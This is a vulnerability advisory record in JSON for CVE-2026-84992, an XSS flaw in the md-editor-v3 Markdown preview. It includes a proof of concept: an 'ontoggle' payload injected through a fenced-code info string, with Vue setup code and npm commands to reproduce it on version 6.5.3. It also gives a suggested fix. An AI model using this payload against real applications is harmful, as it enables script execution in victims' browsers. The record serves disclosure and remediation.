{"id":"CVE-2026-84992","aliases":["CVE-2026-84992","GHSA-3rm2-h79c-8qw6"],"related":[],"kind":"vulnerability","state":"published","title":"md-editor-v3: XSS via fenced-code language rendering bypass","summary":"md-editor-v3 is a Markdown editor for Vue 3 developed in JSX and TypeScript. Prior to 6.5.4, MdPreview's useMarkdownIt() highlight callback in packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts inserts a fenced-code language value into class and language HTML attributes without escaping or consistently quoting it. Both highlighted and non-highlighted rendering paths reach this return value, while XSSPlugin filters only existing html_block and html_inline tokens before rendering and therefore cannot inspect the renderer-generated HTML. An attacker who can supply Markdown can use crafted fenced-code metadata to execute JavaScript in the application origin when a victim renders it, including as stored cross-site scripting when the host persists the Markdown. This issue is fixed in version 6.5.4","summarySource":"cvelist","descriptions":[{"lang":"en","text":"md-editor-v3 is a Markdown editor for Vue 3 developed in JSX and TypeScript. Prior to 6.5.4, MdPreview's useMarkdownIt() highlight callback in packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts inserts a fenced-code language value into class and language HTML attributes without escaping or consistently quoting it. Both highlighted and non-highlighted rendering paths reach this return value, while XSSPlugin filters only existing html_block and html_inline tokens before rendering and therefore cannot inspect the renderer-generated HTML. An attacker who can supply Markdown can use crafted fenced-code metadata to execute JavaScript in the application origin when a victim renders it, including as stored cross-site scripting when the host persists the Markdown. This issue is fixed in version 6.5.4","source":"cvelist"},{"lang":"en","text":"### Summary\n`MdPreview` interpolates a fenced-code language into HTML attributes without escaping it. A crafted info string therefore executes JavaScript even when the shipped `XSSPlugin` is enabled.\n\n### Details\n`useMarkdownIt()` (`packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts:206`) registers a `highlight` callback whose final return inserts `language` into both `class=\"language-${language}\"` and an unquoted `language=${language}` attribute without escaping. Both highlighting paths reach this return. `XSSPlugin()` filters only existing `html_block` and `html_inline` tokens before rendering, so it cannot inspect this renderer-generated HTML.\n\n### PoC\nThe Vue application enables the shipped `XSSPlugin` and renders attacker-controlled Markdown. `noHighlight: true` only makes reproduction deterministic; the default highlighting path reaches the same unsafe return. Use this as `src/main.js`:\n\n```js\nimport { createApp, h } from 'vue';\nimport { MdPreview, XSSPlugin, config } from 'md-editor-v3';\n\nconfig({ markdownItPlugins: p => [...p, { type: 'xss', plugin: XSSPlugin, options: {} }] });\nconst markdown = '```x\"><details/open/ontoggle=alert(document.domain)>\\nSAFE\\n```';\ncreateApp({ render: () => h(MdPreview,\n  { editorId: 'poc', modelValue: markdown, noHighlight: true })\n}).mount('#app');\n```\n\nCreate and run the app, replacing `src/main.js` when indicated:\n\n```sh\nnpm create vite@latest poc -- --template vue\ncd poc\nnpm install\nnpm install md-editor-v3@6.5.3\n# Replace src/main.js with the code above.\nnpm run dev\n```\n\nOpening the displayed URL automatically shows the application hostname in an alert.\n\n### Impact\nAn attacker who can supply Markdown can execute JavaScript in the application origin when a victim renders it. If the host stores that Markdown, this becomes stored XSS.\n\n### Suggested fix\nEscape `language` with `md.utils.escapeHtml` before interpolation and quote the `language` attribute. Add this payload and the raw control as regression tests with `XSSPlugin` enabled.","format":"markdown","source":"ghsa"}],"published":"2026-09-18T17:10:08.497Z","modified":"2026-09-24T21:25:27.050Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 6.5.4","status":"affected"}],"vendor":"imzbf","product":"md-editor-v3","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"6.5.4"}],"ecosystem":"npm","package":"md-editor-v3","purl":"pkg:npm/md-editor-v3","source":"ghsa"}],"references":[{"url":"https://github.com/imzbf/md-editor-v3/security/advisories/GHSA-3rm2-h79c-8qw6","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/imzbf/md-editor-v3/commit/2c07360420e74087f5bc63032ab155d93e0a0b10","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/imzbf/md-editor-v3/releases/tag/v6.5.4","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/imzbf/md-editor-v3","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-09-18T18:06:01.191Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-84992","url":"https://www.cve.org/CVERecord?id=CVE-2026-84992","licence":"CVE Terms of Use","modified":"2026-09-18T18:06:19.593Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-3rm2-h79c-8qw6","url":"https://github.com/advisories/GHSA-3rm2-h79c-8qw6","licence":"CC-BY-4.0","modified":"2026-09-18T17:30:08.398Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-84992","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84992","licence":"Public domain","modified":"2026-09-24T21:25:27.050Z"}],"updatedAt":"2026-11-25T22:59:39.650Z","epss":{"score":0.00238,"percentile":0.15891,"date":"2026-12-02T12:00:21.000Z"}}